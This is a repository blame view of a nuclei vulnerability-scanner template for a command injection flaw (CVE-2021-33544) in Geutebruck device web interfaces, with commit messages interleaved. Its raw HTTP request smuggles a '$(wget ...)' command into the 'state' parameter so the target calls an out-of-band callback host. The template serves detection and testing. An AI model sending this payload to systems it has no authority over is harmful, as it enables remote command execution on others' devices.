daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/cves/2021/CVE-2021-33544.yaml

29 lines
1.1 KiB
YAML
Raw Normal View History

Create CVE-2021-33544.yaml Multiple vulnerabilities in the web-based management interface of Geutebruck could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. CVE-2021-33543 : Authentication Bypass CVE-2021-33544 : Command injection multiple parameters Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-12 04:10:31 +00:00
id: CVE-2021-33544
info:
name: Geutebruck RCE
description: Multiple vulnerabilities in the web-based management interface of Geutebruck could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
author: gy741
Auto Generated CVE annotations [Tue Sep 28 10:05:39 UTC 2021] :robot:
2021-09-28 10:05:39 +00:00
severity: high
Removed pipe (|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84
2021-08-18 11:37:49 +00:00
reference:
Create CVE-2021-33544.yaml Multiple vulnerabilities in the web-based management interface of Geutebruck could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. CVE-2021-33543 : Authentication Bypass CVE-2021-33544 : Command injection multiple parameters Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-12 04:10:31 +00:00
- https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/
oob tags update
2021-10-18 20:40:26 +00:00
tags: cve,cve2021,geutebruck,rce,oast
Auto Generated CVE annotations [Tue Sep 28 10:05:39 UTC 2021] :robot:
2021-09-28 10:05:39 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.20
cve-id: CVE-2021-33544
cwe-id: CWE-77
Create CVE-2021-33544.yaml Multiple vulnerabilities in the web-based management interface of Geutebruck could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. CVE-2021-33543 : Authentication Bypass CVE-2021-33544 : Command injection multiple parameters Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-12 04:10:31 +00:00
requests:
- raw:
- |
GET //uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(wget%20http://{{interactsh-url}})&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"